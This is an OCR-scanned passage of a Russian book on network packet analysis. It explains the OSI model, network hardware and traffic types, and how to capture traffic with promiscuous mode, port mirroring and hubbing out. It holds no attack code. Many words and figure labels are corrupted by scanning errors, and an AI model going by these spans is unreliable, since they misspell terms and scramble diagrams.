об этом речъ пойдет в главе 9, "Распространенные протаколы верхнего 
уровня", при обсуждении сетевого протакола НТТР. 

Как только из протокола уровня приложений будет отправлена команда, 

останетс_я лишь доставить пакет по месту его назначения. Данные из пакета 

передаются сверху вниз на транспортный уровень. В протоколе НТТР уров

ня приложений применяется протокол ТСР, так как первый располагается в 

стеке протоколов над последним, а по существу, "сидит" на нем. Поэтому ТСР 

служит в качестве протокола транспортного уровня, обеспечивая надежную 

доставку пакета. На транспортном уровне формируется ТСР-заголовок, кото

рый добавляется в блок PDU, как показано на рис. 1.3. В этот ТСР-заголовок 
входят порядковые номера и прочие данные, добавляемые к пакету и обеспе

чивающие надлежащую его доставку. 

++IQIИIPMi!iii Специалисты по сет.ям нередхо говорят, что один сетевой протакол 

"сидит" или "ездит" на другом протаколе из-за нисходящего харахте

ра архитехтуры модели OS/. Тах, протакол НТГР уровня приложений 

предоставляет определенные услуги, полагаясъ на протакол ТСР транс

портного уровня для надежного аказания своих услуг. А уr.луги обоих этих 

протаколов опираются на протакол /Р сетевого уровня для достаВ'Ки 

данных по адресу. Тахим образом, протакол НТГР "сидит" на протако

ле ТСР, а тот - на протаколе /Р. 

Выполнив свое задание, протокол ТСР передает пакет протоколу IP тре
тьего уровня, отвечающему за логическую адресацию пакета. С этой це

лью в протоколе IP формируется информация о логической адресации, 
которая добавляется в блок PDU, после чего пакет передается протоколу 
Ethernet на канальном уровне, где физические адреса Etl1ernet сохраняются 
в Еthеrnеt-заголовке. Таким образом, полностью собранный пакет перено

сится на физический уровень, где он передается в двоичном виде единиц и 

нулей по сети. 



Полностью готовый пакет переносится по кабельной системе сети, до

стигая в конечном итоге веб-сервера компании Google. Этот веб-сервер на
чинает чтение полученного пакета снизу вверх, т.е. начиная с информации 

транспортного уровня, где содержатся сведения о физической адресации 

по протоколу Etherпet. Эта информация используется в сетевом адаптере 

с целью выяснить, предназначается ли полученный пакет для данного кон

кретного веб-сервера. После обработки этой информации из пакета удаля

ется информация второго уровня и обрабатывается информация третьего 

уровня. 

Информация об адресации по протоколу IP третьего уровня читается с 
целью убедиться, что пакет адресуется правильно и не разбит на части. Эта 

информация также удаляется из пакета, чтобы обеспечить обработку инфор

мации следующего уровня. 

Далее читается информация из протокола ТСР четвертого уровня с целью 

убедиться, что пакет поступил в правильной последовательности. После это

го информация четвертого уровня удаляется из пакета, где остаются лишь 

данные уровня приложений, которые могут быть переданы серверному при

ложению, развернутому на указанном веб-сервере. В ответ на этот пакет от 

клиента сервер должен передать сначала пакет подтверждения по протоколу 

ТСР, чтобы уведомить клиента о благополучном получении его запроса, а за

тем запрашиваемый файл index. html. 

Все пакеты создаются и обрабатываются описанным в данном примере 

способом независимо от применяемых протоколов. Но в то же время далеко 

не каждый пакет в сети формируется, начиная с протокола уровня приложе

ний. В сети нередко можно обнаружить пакеты, содержащие информацию 

только из протоколов второго, третьего или четвертого уровня. 

Сетевое оборудование 
А теперь рассмотрим сетевое оборудование, где выполняется вся черновая 

работа по обмену данными в сети. В этом разделе основное внимание уделя

ется наиболее характерным компонентам сетевого оборудования, к которым 

относятся концентраторы, коммутаторы и маршрутизаторы. 

Концентраторы 

Обычный концентратор представляет собой прямоугольный корпус с це

лым рядом портов типа RJ-45 подобно модели NETGEAR, приведенной на 
рис. 1.4. Концентраторы разнятся от совсем небольших устройств на 4 порта 
до крупных устройств на 48 портов в стоечном исполнении для корпоратив
ной среды. 
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Рис. 1.4. Типичный концентратор на четыре порта дпя сети Ethernet 

Концентраторы мoryr формировать немало излишнего сетевого трафика 

и способны работать только в полудуплексном режиме, т.е. они не в состоянии 

одновременно 11ерсдавать и принимать данные. Поэтому концентраторы, как 

правило, не применяются в большинстве современных сетей, а также в сетях 

с высоким трафиком, где вместо них используются коммутаторы, рассматри

ваемые далее. Тем не менее принцип действия концентраторов следует знать, 

поскольку им принадлежит важная роль в методике анализа пакетов, называе

мой "перехватом пакетов через концентратор" и обсуждаемой в главе 2, "Под
ключение к сети". 

Концентратор - это всего лишь повторитш~ъ, работающий на физическом 

уровне модели OSI. Он принимает пакеты, посьшаемые из одного порта, и пе
редает их во все остальные порты , т.с . повторяет их, а обязанность приемного 

устройства - принять или отвергнуть каждый пакет. Так, если из компьютера, 

подключенного к порту 1 концентратора на 4 порта, требуется передать дан
ные на компьютер, подключенный к порту 2, концентратор направит эти па
кеты в порты 2, 3 и 4. Клиенты, подключенные в нортам 3 и 4, проверят поле 
адреса получателя по стандарту Media Access Coпtrol (МАС - управление до

ступом к среде передачи данных), или просто МЛС-адреса в Еtl1еrпеt-заголов

ке пакета и обнаружат, что данный 11акст предназначен не для них, и поэтому 

11ропустят (т.е . отвергну~·) его . На рис. 1.5 приведен пример, где компьютер 
А 11ередаст данные комньютсру Б. Когда компьютер А посылает эти данные, 

их 11олучают вес ком11ьютеры, подключенные к концентратору. Но лишь ком

пьютер Б фактически принимает отправленные данные, тогда как остальные 

компьютеры отвергают их. 

В качестве аналогии допустим , что сообщение на тему "Внимание всем 

сотрудникам отдела маркетинга" рассылается по электронной почте всем со

трудникам в компании, а не только тем, кто работает в отделе маркетинга. 

Увидев данное сообщение, сотрудники этого отдела откроют его, а осталь

ные сотрудники компании проигнорируют его, поскольку оно их не касается. 

Этот пример наглядно показывает, что такой подход к передаче данных по 

сети приводит к появлению излишнего трафика и напрасной трате времени. 

Но именно таким образом и действует концентратор. Наилучшим вариантом 



замены концентраторов в производственных и сетях с высоким трафиком яв

ляются ком.мутаторы - дуплексные устройства, способные синхронно переда

вать и принимать данные. 

Компьютер Б 

Компьютер А Компьютер В 

Компьютер Г 

Рис. 1.5. Порядок прохождения трофика, коrдо компьютер А 
передает донные компьютеру Б через концентратор 

Коммутаторы 

Как и концентратор, коммуrатор предназначен для повторения пакетов. 

Но в отличие от концентратора, коммутатор не рассылает данные в каждый 

порт, а посылает их только тому компьютеру, для которого они предназначе

ны. Коммутаторы очень похожи на концентраторы, как покааано на рис. 1.6. 

Рис. 1.6. Коммутатор но 48 портов в стоечном исполнении для сети Ethernet 

Некоторые крупные коммутаторы (например , компании Cisco) работа

ют под управлением специализированного программного обеспечения или 

веб-интерфейсов, разработанных изготовителем оборудования . Такие комму

таторы обычно называются управляемыми и предоставляют ряд полезных воз

можностей для управления сетью, включая активизацию и дезактивизацию 



портов, просмотр статистики портов, внесение корректив в конфигурацию и 

удаленную перезагрузку. 

Коммутаторы предоставляют дополнительные функциональные возмож

ности для обработки передаваемых пакетов. Для установления непосред

ственной связи с конкретными устройствами коммутаторы должны однознач

но распознавать устройства по их МАС-адресам. Это означает, что они долж

ны действовать на канальном уровне модели OSI. 
Коммутаторы хранят адреса второго уровня каждого подключенного к 

ним устройства в таблице ассоциативной памяти (САМ -Conteвt AddгessaЫe 

Мешогу), которая выполняет роль регулировщика дорожного движения. Ког

да передается пакет, коммутатор читает информацию из заголовка второго 

уровня в этом пакете и, используя таблицу ассоциативной памяти как спра

вочник, определяет, в какие порты следует направить данный пакет. Коммута

торы посылают пакеты только в конкретные порты, тем самым значительно 

сокращая сетевой трафик. 

На рис. 1. 7 наглядно показан порядок прохождения сетевого трафика че
рез коммутатор. В частности, компьютер А посылает данные только компью

теру Б как назначенному их получателю. Одновременно в сети может вестись 

множество диалогов, но данные передаются непосредственно между коммута

тором и назначенным получателем, а не между коммутатором и всеми подклю

ченными к нему компьютерами. 

Комnьютер Б 

../ 

t 

Комnьютерд Комnьютер В 

Комnьютер Г 

Рис. 1.7. Порядок прохождения трафика, когда компьютер А 
передает данные компьютеру Б через коммутатор 



Маршрутизаторы 

Маршрутизатор - это усовершенствованное сетевое устройство с намного 

более высоким уровнем функционирования, чем коммутатор или концентра

тор. Маршрутизатор может принимать самые разные виды и формы, но, как 

правило, на его передней панели установлено несколько светодиодных инди

каторов, а на задней панели - ряд сетевых портов в зависимости от масшта

бов сети. Пример небольшого маршрутизатора приведен на рис. 1.8. 

Рис. 1.8. Низкоуровневый маршрутизатор компании Enterasys, 
пригодный для применения в сетях малых и средних масштабов 

Маршрутизаторы действуют на третьем уровне модели OSI, где они отве
чают за пересылку пакетов между двумя или несколькими сетями. Процесс, 

в ходе которого маршругизаторы направляют сетевой трафик между сетями, 

называется маршрутизацией. Имеется несколько видов протоколов маршру

тизации, определяющих порядок, в котором разнотипные пакеты направля

ются в другие сети. Обычно маршрутизаторы пользуются адресами третьего 

уровня (например, IР-адресами) для однозначного распознавания устройств 

в сети. 

Чтобы наглядно продемонстрировать понятие маршрутизации, обратимся 

к аналогии соседства городских улиц, представив дома с их адресами в каче

стве компьютеров, а каждую улицу - в качестве сетевого сегмента (рис. 1.9). 
Выйдя из своего дома, можно легко посетить своих соседей в других домах 

на той же самой улице, пройдя прямо по тротуару от парадной двери одного 

дома к другой. Аналогично коммутатор обеспечивает связь между всеми ком

пьютерами в одном сегменте сети. 

Но общение с соседями, проживающими на другой улице, подобно связи 

с компьютером в другом сегменте сети. Глядя на рис. 1.9, допустим, что вы 
проживаете на улице Виноградной, 502, и вам требуется добраться до дома по 
адресу Кизиловая аллея, 206. Чтобы сделать это, вы должны свернуть снача
ла на Дубравную улицу, а затем - на Кизиловую аллею. Это можно сравнить 

с пересечением разных сегментов сети. Так, если устройству, находящемуся 
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по адресу 192 .168. О. 3, требуется связаться с устройством, расположенным по 
адресу 192 .168. О. 54, оно должно сделать это сначала через свой маршрутиза

тор, чтобы достичь сети по адресу 10 .100 .1. х, а затем через маршрутизатор 

целевого сегмента сети, прежде чем достичь этого сегмента. 

Размеры и количество маршрутизаторов в сети, как правило, зависят от ее 

масштабов и функций. На границе личных, домашних и небольших учрежден

ческих сетей может быть установлен лишь один небольшой маршрутизатор. 

А в крупных корпоративных сетях может потребоваться несколько маршру

тизаторов, установленных в разных отделах организации и подключенных к 

одному центральному маршрутизатору или коммутатору третьего уровня (т.е. 

к усовершенствованному типу коммутатора со встроенными возможностями 

функционирования в качестве маршрутизатора). 

~ ~ ~ 
192.168.0.2 192.168.0.4 192.168.0.6 

• 
501 503 505 

Виноградная улица 

"' ~ ~ ~ ~ 

"' §. 
502 504 506 192.168.О.3 192.168.0.S 192.168.0.7 

~ 
:z: 
~ 

~ ~ ~ 
а. 

'° 192.168.0.51 192.168.0.SJ 192. 168.0.55 >-
с:[ 

• • 
201 203 205 

Кизиловая амея 

~ • ~ . ~ • 
202 206 208 192.168.0.52 192.168.0.54 192.168.0.56 

Рис. 1. 9. Сравнение маршрутизируемой сети с соседством городских улиц 

Рассматривая приведенные далее схемы сетей, вы в конечном итоге пой

мете, каким образом данные проходят через различные точки сети. Так, на 

рис. 1.10 приведена весьма распространенная форма компоновки маршрути
зируемой сети. В данном случае две отдельные сети соединены через один 

маршрутизатор. Если компьютеру в сети А потребуется связаться с компью

тером в сети Б, то передаваемые из него данные должны непременно пройти 

через маршрутизатор. 



Сеть А 

КомпьютерБ 

СетьБ 

Компьютер Г 

+ 
::::: ~1-----j :::: В3 ::::: ~ 

---+- ---+-
Маршрутизатор 

Компьютер В 

КомпьютерД 

Рис. 1. 1 О. Порядок прохождения сетевого трафика, когда компьютер А 
в одной сети передает данные компьютеру Г в другой сети через марш

рутизатор 

Классификация сетевоrо трафика 
Сетевой трафик можно классифицировать по трем типам: широковеща

тельный, много- и одноадресатный. Каждая из этих классификаций сетевого 

трафика имеет свои особенности, определяющие порядок обработки пакетов 

в сетевом оборудовании. 

Широковещательнь1й трафик 

Шираковещателънъtм (Ьmadcast) называется такой пакет, который посы

лается во все порты в сетевом сегменте независимо от того, где установлен 

данный порт: на концентраторе или коммутаторе. Имеются формы широко

вещательного трафика второго и третьего уровня. На втором уровне МАС-а

дрес ff: ff: ff: ff: ff: ff является зарезервированным широковещательным 

адресом, и любой трафик, направляемый по этому адресу, распространяется 

по всему сетевому сегменту. Широковещательный адрес имеется и на третьем 

уровне, но он меняется в зависимости от используемого диапазона сетевых 

адресов. 

Самый большой из всех IР-адресов, допустимых в диапазоне адресов IР

сети, зарезервирован для применения в качестве широковещательного 

адреса. Так, если у компьютера имеется адрес 192 .168. О. 20 и маска подсети 
255. 255. 255. О, адрес 192 .168. О. 255 оказывается широковещательным (под
робнее об IР-адресации речь пойдет в главе 7, "Протоколы сетевого уровня"). 



Предел, до которого могут распространяться широковещательные пакеты, 

называется шuрО'Ковещателънъtм доменом, который представляет собой сетевой 

сегмент, где любой компьютер может непосредственно передавать данные 

другому компьютеру без помощи маршрутизатора. В крупных сетях со многи

ми концентраторами или коммутаторами, соединяемыми через разные сред

ства связи и среды передачи данных, широковещательные пакеты, передавае

мые от одного коммугатора, достигают всех портов на всех остальных комму

таторах в сети, поскольку пакеты повторяются, проходя от одного коммутато

ра к другому. На рис. 1.11 приведен пример двух широковещательных доменов 
в небольшой сети. Каждый широковещательный домен простирается до тех 

пор, пока он не достигнет маршрутизатора, и поэтому широковещательные 

пакеты циркулируют только в этом конкретном домене. 

Маршрутизатор 

Широковещательный домен Широковещательный домен 

Рис. 1. 11. Широковещательный домен охватывает весь текущий сегмент 
маршрутизируемой сети до маршрутизатора 

Упоминавшаяся ранее аналогия с соседством городских улиц позволяет 

также наглядно показать принцип действия широковещательных доменов. 

В частности, широковещательный домен можно рассматривать как сосед

нюю улицу, где все соседи сидят на своем крыльце. Если вы станете на свое 

крыльцо и крикнете, то жильцы на вашей улице смогут вас услышать. Но если 

вам захочется пообщаться с кем-нибудь на другой улице, то придется найти 

какой-нибудь способ сделать это непосредственно, а не широко вещать (кри

ком) со своего крыльца. 



Мноrоадресатнь1й трафик 

Мноzоадресатной2 (multicast) называется одновременная передача пакета из 
одного источника во многие места назначения. Цель многоадресатной пере

дачи - использовать как можно меньше пропускной способности сети. Опти

мизация многоадресатного трафика состоит в том, чтобы поменьше тиражи

ровать поток данных по пути его следования к месту назначения. Конкретная 

обработка многоадресатного трафика зависит от его реализации в отдельных 

сетевых протоколах. 

Многоадресатный трафик реализуется в основном через схему адреса

ции, добавляющую получателей пакетов к многоадресатной группе. Именно 

так и действует многоадресатная передача по межсетевому протоколу IP. Та
кая схема адресации гарантирует от передачи пакетов тем компьютерам, для 

которых они не предназначены. Если вы обнаружите IР-адрес в пределах от 

224. О. О. О до 239. 255. 255. 255, то по нему, вероятнее всего, обрабатывается 
многоадресатный трафик, поскольку именно в этих пределах зарезервирова

ны адреса для подобных целей. 

Одноадресатный трафик 

Одноадресатнъtй (unicast) пакет передается непосредственно от одного ком
пьютера к другому. Конкретное функционирование одноадресатной переда

чи зависит от применяемого сетевого протокола. В качестве примера можно 

привести устройство, которому требуется связаться с веб-сервером. Это од

ноточечное соединение, а следовательно, процесс передачи данных, должен 

быть начат клиентским устройством, передающим пакет только веб-серверу. 

Заключительные соображения 
В этой главе были представлены основы организации сетей, которые тре

буется знать для анализа пакетов. В частности, необходимо ясно понимать, 

что именно происходит на данном уровне передачи данных по сети, прежде 

чем приступить к диагностике сети. В главе 2, "Подключение к сети", будет 
рассмотрен ряд методик перехвата пакетов, которые требуется проанализи

ровать. 

2 Поскольку пакет, посланный по одному адресу, достигает многих получателей, 

или адресатов. - Пpuмf!lt. ред. 

43 





ПОДКЛЮЧЕНИЕ К СЕТИ 

Главное решение для эффективного анализа пакетов 

лежит в физическом расположении анализатора паке

тов для надлежащего перехвата данных. Специалисты 

по анализу пакетов нередко называют местоположение ана

лизатора пакетов прослушиванием сети или подклwчением к сети. 

К сожалению, для анализа пакетов недостаточно подключить свой пере

носной компьютер к сетевому порту и перехватить трафик. На самом деле 

иногда разместить анализатор пакетов в сети намного сложнее, чем факти

чески проанализировать пакеты. Расположить анализатор пакетов нелегко 

потому, что устройства могут быть подключены к сети с помощью самых раз

ных видов сетевого оборудования. Типичная ситуация для анализа пакетов 

приведена на рис. 2.1. Каждое из устройств в современной сети (коммутато
ры и маршрутизаторы) по-разному обрабатывает сетевой трафик, и поэтому 

приходится принимать во внимание физическую организацию анализируе

мой сети. 

В этой главе преследуется цель помочь вам лучше понять порядок распо

ложения анализатора пакетов в сетях с самой разной топологией. Но прежде 

по 
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::::: i;s) 

Рис. 2. 1. Разместить анализатор пакетов в сети не так-то просто, если 
в ней имеется немало соединений, поскольку такая ее организация 

затрудняет получение нужных донных 

Прослушивание сети в смешанном режиме 
Прежде чем анализировать пакеты в сети, необходимо обзавестись сете

вой интерфейсной платой (NIC), иначе называемой сетевым адаптером, с 
поддержкой драйвера смешанного режима (proшiscuous шоdе) для прослуши

вания сети. В смешанном режиме сетевой адаптер может просматривать все па

кеты, проходящие по сети. 

Как пояснялось в главе 1, "Анализ пакетов и основы организации сетей", из 
широковещательного сетевого трафика устройства обычно получают пакеты, 

которые фактически не предназначены для них. Например, сетевой протокол 

ARP (Address Resolution Protocol- протокол преобразования адресов) служит 
крайне важным средством в любой исследуемой сети для определения МАС

адресов, соответствующих конкретному IР-адресу. Чтобы обнаружить подхо

дящий МАС-адрес, устройство посылает широковещательный пакет по сете

вому протоколу ARP каждому устройству, находящемуся в его широковеща
тельном домене, в надежде, что нужное устройство отреагирует на данный 

пакет. 

Широковещательный домен (т.е. сетевой сегмент, где любой компьютер 

может передавать данные непосредственно любому другому компьютеру без 

помощи маршрутизатора) может состоять из нескольких устройств. Но лишь 

нужное приемное устройство в этом домене должно быть заинтересовано в 

получении широковещательного пакета, передаваемого по сетевому прото

колу ARP. И было бы совершенно неэффективно, если бы каждое устройство 
в сети обрабатывало широковещательный пакет, передаваемый по сетевому 

протоколу ARP. Напротив, если пакет не предназначен для устройства, а еле-



довательно, не нужен ему, то сетевой адаптер данного устройства отбросит 

пакет вместо того, чтобы передать его на обработку центральному процес

сору (ЦП). 

Отбрасывание пакетов, не предназначенных для принимающего хоста, по

вышает эффективность обработки данных в сети, но для анализа пакетов этот 

режим работы сетевой платы совсем не подходит. Специалистам по анализу 

пакетов, как правило, требуется перехватывать кажд'Ый пакет, посылаемый по 

сети, чтобы не пропустить какой-нибудь важный фрагмент информации. 

Используя смешанный режим работы сетевого адаптера, можно гаранти

ровать, что будет перехвачен весь сетевой трафик. Когда сетевой адаптер ра

ботает в смешанном режиме, он передает каждый обнаруживаемый им пакет 

процессору хоста независимо от его адреса его получателя. И как только па

кет поступит на обработку в ЦП, приложение, анализирующее пакеты, смо

жет взять его на анализ. 

Смешанный режим поддерживается в большинстве современных сетевых 

адаптеров, и в состав Wireshark входит драйвер libpcap/WinPcap, позволяю
щий переключить сетевой адаптер непосредственно в смешанный режим из 

графического интерфейса инструментального средства Wireshark. (Подроб
нее о драйвере libpcap/WiвPcap речь пойдет в главе 3, "Введение в Wireshark".) 

l1!QJИ!iii'iiii В болъшинстве операционнъtх систем, в'КЛючая Windows, не допускается 
применятъ сетевой адаптер в смешанном режиме, e('.ftи толъко у вас нет 

расширенн'Ых полъзователъских полномачий. E('.ftи же у вас нет закон

Н'ЫХ оснований получитъ такие полномачия в своей системе, вам, скорее 

всего, не удастся провести такого рода анализ пакетов в данной кон

кретной сети. 

Анализ пакетов через концентраторь1 
Анализ пакетов в сети, где установлены концентраторы, - мечта любого 

исследователя пакетов. Как пояснялось в главе 1, "Анализ пакетов и основы 
организации сетей", сетевой трафик, пропускаемый через концентратор, 

поступает на каждый порт, подключенный к этому концентратору. Следова

тельно, чтобы проанализировать трафик, проходящий через компьютер, под

ключенный к концентратору, достаточно подключить анализатор пакетов к 

пустому порту концентратора. Это даст возможность просматривать весь об

мен данными как с этим компьютером, так и с любыми другими устройствами, 

подключенными к тому же самому концентратору. Как показано на рис. 2.2, 
пределы видимости безграничны, когда анализатор пакетов подключен к 

сети, созданной на основе концентраторов. 
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Компьютер Г 

Компьютер А 

КомпьютерД Компьютер Е 

КомпьютерБ Компьютер В Пределы видимости 

Рис. 2.2. Анализ пакетов в радиально-узловой сети, созданной 
на основе концентраторов, обеспечивает безграничные преде

лы видимости 

le!QIИIUЩll!i Как CJtei!yem из различных бл()1(·схем, приведенных в данной книге, тер

мин пределъt видимости охватъtвает устройства в сети, трафик кото

ръtх можно просматриватъ с помощъю анализатора пакетов. 

Но теперь, к сожалению, сети очень редко строятся на основе концентра

торов, поскольку их администрирование весьма затруднено. В таких сетях 

лишь одно устройство может одновременно передавать данные через концен

тратор, и поэтому все подключенные к нему устройства должны конкуриро

вать за право передать данные со всеми остальными устройствами сети. Если 

данные будут одновременно передавать два или больше устройств, то возни

кает так называемое явление коллизии пакетов, как показано на рис. 2.3. В ито· 
ге может произойти потеря пакетов, и для выхода из сложившейся ситуации 

передающим устройствам нужно будет повторить их передачу, что приводит к 

падению пропускной способности сети. По мере увеличения уровня трафика 

и количества коллизий устройствам, возможно, придется повторять передачу 

пакетов по три или четыре раза, а это в значительной степени снизит произ

водительность сети. Таким образом, нетрудно понять, почему в большинстве 

современных сетей любых масштабов применяются коммутаторы. Но, несмо

тря на то что концентраторы редко применяются в современных сетях, ино

гда они все же встречаются в тех сетях, где поддерживается устаревшее обору

дование или специализированные устройства, например, в сетях автоматизи

рованных систем управления производственными процессами (ICS) . 
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Рис. 2.3. В радиально-узловой сети, созданной на основе кон
центраторов, может возникнуть коллизия пакетов, когда два 

или больше устройств будут передавать данные одновременно 

Чтобы выяснить наличие концентратора в сети, проще всего заглянугь в 

серверное помещение или сетевой монтажный шкаф, где большинство кон

центраторов специально обозначены метками. Если и это не поможет, загля

ните в самый темный угол серверного помещения, где обычно находится по

крытое толстым слоем пыли сетевое оборудование. 

Анализ пакетов в коммутируемой среде 
В качестве соединительных устройств в современных сетях чаще всего 

применяются коммугаторы. Они обеспечивают эффективный порядок пере

носа данных через широковещательный, много- и одноадресатный трафик. 

Коммугаторы допускают дуплексную передачу данных, а это означает, что ма

шины могуг передавать и принимать данные одновременно. 

К сожалению, коммугаторы усложняют задачу исследователям пакетов. 

Подключив свой анализатор пакетов к порту коммугатора, вы сможете про

смотреть лишь часть широковещательного трафика, а также трафик, переда

ваемый и принимаемый тем устройством, на котором установлен анализатор 

пакетов (рис. 2.4). Чтобы перехватить трафик из целевого устройства в ком
мугируемой сети, вам придется предпринять дополнительные шаги. Пере

хватить такой трафик можно следующими четырьмя способами: зеркальное 

отображение портов (port шirroring), перехват пакетов через концентратор, 
применение сетевого ответвителя и заражение АRР-кеша. 
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Компьютер А 

Компьютер Б Компьютер В 

Компьютер Г 

КомпьютерД Компьютер Е 

Рис. 2.4. Пределы видимости в коммутируемой сети ограничиваются 
портом, к которому подключен анализатор пакетов 

Зеркальное отображение портов 

Зерхалъное отображение портов (port тirюriпg), иначе называемое расшиjжнием 
портов (port sраппiпg), считается едва ли не самым простым способом перехва
та сетевого трафика из целевого устройства в коммутируемой сети. Для это

го необходимо иметь доступ к интерфейсу командной строки или веб-управ

ления того коммутатора, к которому подключен целевой компьютер. Кроме 

того, коммутатор должен поддерживать зеркальное отображение портов и 

иметь пустой порт, к которому можно подключить анализатор пакетов. 

Чтобы активизировать зеркальное отображение портов, следует выдать 

команду, вынуждающую коммутатор копировать весь трафик из одного пор

та в другой. Например, чтобы перехватить весь трафик, который передает 

и принимает устройство, подключенное к порту 3 коммутатора, достаточно 
подключить анализатор пакетов к его порту 4 и зеркально отобразить порт 
3 на порт 4. Процесс зеркального отображения портов наглядно показан на 
рис. 2.5. 

Порядок организации зеркального отображения портов зависит от кон

кретной модели коммутатора. В большинстве промышленных коммутаторов 

придется пройти регистрацию через интерфейс командной строки и настро

ить зеркальное отображение портов по специальной команде. Перечень та

ких команд приведен в табл. 2.1. 



Порт компьютера Б 
зеркально отображается 

на порт анализатора 

пакетов 
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пакетов 
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Компьютер В 

Компьютер Г 

КомпьютерД Компьютер Е 

Рис. 2.5. Зеркальное отображение портов позволяет расширить пределы 
видимости в коммутируемой сети 

Табnица 2.1. Команды, nримен•емые дn• активизации эеркаnьноrо отображени• 

Проиэаодитеnь коммутатора Команда 

Cisco set span <n~ ИC'J'OVIOllJCa> <n~ назнаvеюvr> 

Enterasys set port m.irroring create <DOP'J' ИC'J'O'lНllЖa> <DOP'J' 

ва:знаvенвя> 

Nortel port-m.irroring mode m.irror-port <nop'J' ИC'J'OVIOllJCa> 

monitor-port <п~ на.энаvеюvr> 

lelilИ!pMЩll В некоторых промыШfl,(!1(,ных коммутаторах предоставляется веб-ори

ентированный графический интерфейс, где зеркалъное отображение 

портов не всегда поддерживается. , хотя такие коммутаторы нетипич

ны и не стандартизированъ~. Но если коммутатор предоставляет эф

фективный способ настройки зеркалъного отображения портов через 

веб-интерфейс, то такой возможностъю следует, безусловно, восполъзо

ватъся. Кроме того, в коммутаторах для неболъших учрежденческих и 

домашиих сетей (SOHO) все чаще начинают предоставлятъся возмож

ности для зеркалъного отображения портов, которое, как правило, на

страивается через веб-интерфейс. 

Зеркально отображая порты, следует принимать во внимание их пропуск

ную способность. Некоторые производители коммутаторов позволяют зер

кально отображать несколько портов на один порт, и такая функция может 

оказаться полезной при анализе передачи данных между двумя или нескольки

ми устройствами на одном коммутаторе. Рассмотрим , однако, что может при 

51 



этом произойти, произведя несложные математические расчеты. Если, на

пример, имеется коммугатор на 24 порта, где 23 порта зеркально отображают
ся на один порт при дуплексной передаче данных со скоростью 100 Мбит/с, 
то данные должны поступать в этот порт со скоростью 4600 Мбит /с. Но ведь 
это выходит далеко за пределы физических возможностей одного порта, а 

следовательно, может привести к потере пакетов или замедлению работы 

сети, если сетевой трафик достигнет определенного уровня. Иногда подоб

ная ситуация называется переподпиской (oversubscriptioп). В подобных случаях 

коммугаторы, как известно, пропускают лишние пакеты или даже нарушается 

работа внугренних электрических схем, что полностью препятствует переда

че данных. Поэтому непременно убедитесь, что, перехватывая пакеты рассма

триваемым здесь способом, вы не вызовите подобные осложнения в сети. 

Зеркальное отображение портов может оказаться привлекательным, недо

рогим решением для корпоративных сетей и в тех случаях, когда требуется 

постоянно контролировать отдельные сегменты сети, например, в ходе теку

щего контроля сетевой безопасности. Но такая методика, как правило, ока

зывается недостаточно надежной для подобного применения. Зеркальное 

отображение портов может давать противоречивые результаты особенно при 

высоких уровнях трафика в сети, приводя к потере данных, которую трудно 

проследить. В подобных случаях рекомендуется пользоваться сетевым ответ

вителем, как поясняется далее в соответствующем разделе. 

Перехват пакетов через концентратор 

Еще одним способом перехвата трафика, проходящего через целевое 

устройство в коммутируемой сети, является перехват пакетов 1«фез концентра

тор. По этой методике целевое устройство и анализатор пакетов размещают

ся в одном сегменте коммугируемой сети и подключаются непосредственно к 

концентратору. Многие считают перехват пакетов через концентратор обма

ном, но на самом деле это вполне обоснованное решение, когда нельзя выпол

нить зеркальное отображение портов, но в то же время имеется физический 

доступ к тому коммугатору, к которому подключено целевое устройство. 

Чтобы организовать перехват пакетов через концентратор, достаточно 

иметь в своем распоряжении сам концентратор и несколько сетевых кабелей. 

Если у вас имеется такое оборудование, подключите его следующим образом. 

1. Найдите коммугатор, к которому подключено целевое устройство, и от
ключите последнее от сети. 

2. Подключите сетевой кабель целевого устройства к своему концентра
тору. 



3. Подключите еще один сетевой кабель, соединяющий ваш анализатор 
пакетов с концентратором. 

4. Подключите сетевой кабель, идущий от концентратора, к сетевому ком
мутатору, чтобы присоединить концентратор к сети. 

Итак, вы разместили целевое устройство и анализатор пакетов в одном 

широковещательном домене. В итоге весь сетевой трафик от данного устрой

ства будет передаваться в широковещательном режиме. В результате ана

лизатор пакетов может перехватывать из него все пакеты, как показано на 

рис. 2.6. 

.--~~~~~~~~~-. 

Компьютер Б 
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Рис. 2.6. При перехвате пакетов через концентратор целевое устрой
ство и анализатор пакетов изолированы 

В большинстве случаев перехват пакетов через концентратор сводит ду

плексную (т.е . двунаправленную) передачу данных на целевом устройстве к 

полудуплексной (т.е. однонаправленной). И хотя эта методика не является 

самой лучшей для перехвата пакетов, она остается единственно возможной в 

тех случаях, когда в коммутаторе не поддерживается зеркальное отображение 

портов. Следует, однако, иметь в виду, что концентратор потребуется также 

подключить к розетке электросети, которую бывает нелегко найти. 

le!QIИ!pMlllll Не забудъте своевременно предупредитъ полъзователя целевого устрой

ства, -что вы собираетесъ отклwчитъ его от сети, особенно если это 

болъшой на-чалъник! 
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ВЫБОР "ПРАВИЛЬНЫХ" KOHUEHTPATOPOB 

Чтобы перехватывать пакеты через конuентратор, воспользуйтесь настояшим 

конuентратором, а не коммутатором, ложно отнесенным к категории конuентрато

ров. Некоторые производители сетевого оборудования имеют скверную привычку 

рекламировать и продавать свои устройства как "конuентраторы", хотя они на са

мом деле выполняют функuии низкоуровневых коммутаторов. Если вы не пользуетесь 

проверенным, испытанным конuентратором, то сможете просматривать только соб

ственный трафик, а не тот, что проходит через uелевое устройство. 

Выбирая устройство, которое якобы считается конuентратором, убедитесь, что 

оно отвечает своему назначению. Чтобы выяснить, является ли выбираемое устрой

ство настояшим конuентратором, лучше всего подключить к нему пару компьютеров 

и проверить, можно ли на одном из них анализировать сетевой трафик межлу вторым 

и другими устройствами в сети, например, компьютерами или принтерами. Если это 

можно слелать, значит, вы выбрали именно то, что нужно! 

Конuентраторы стали теперь настолько редки, что уже не производятся массово. 

Приобрести имеюшийся в продаже настояший конuентратор практически невозмож

но, и поэтому вам придется проявить творческую иниuиативу, чтобы найти нужный 

товар. Отличным местом лля поиска конuентраторов служит аукuион бывших в упо

треблении прелметов, проводимый в районе местной школы. Государственные школы 

обязаны попытаться выставить на аукuион бывшие в употреблении прелметы, пре

жле чем избавиться от них, а ведь у них нередко залеживается старое оборудование. 

Мне не раз приходилось видеть людей, уходивших с таких аукuионов с несколькими 

конuентраторами, приобретенными по uене меньше стоимости тарелки фасоли или 

кукурузного хлеба. Еше одним удобным местом лля приобретения конuентраторов 

может служить электронный аукuион еВау, но будьте на чеку, чтобы не приобрести 

коммутатор, ложно отнесенный к категории конuентраторов. 

Применение сетевого ответвителя 

Всем известно выражение "Зачем мне курица, если я могу съесть биф

